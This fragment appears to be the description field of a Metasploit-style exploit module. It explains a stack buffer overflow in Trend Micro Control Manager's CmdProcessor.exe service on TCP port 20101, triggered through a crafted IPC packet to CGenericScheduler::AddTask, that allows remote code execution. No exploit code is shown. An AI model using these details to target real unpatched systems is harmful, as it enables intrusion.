   'Description'    => %q{
     This module exploits a vulnerability in the CmdProcessor.exe component of Trend
    Micro Control Manger up to version 5.5.

     The specific flaw exists within CmdProcessor.exe service running on TCP port
    20101. The vulnerable function is the CGenericScheduler::AddTask function of
    cmdHandlerRedAlertController.dll. When processing a specially crafted IPC packet,
    controlled data is copied into a 256-byte stack buffer. This can be exploited
    to execute remote code under the context of the user.
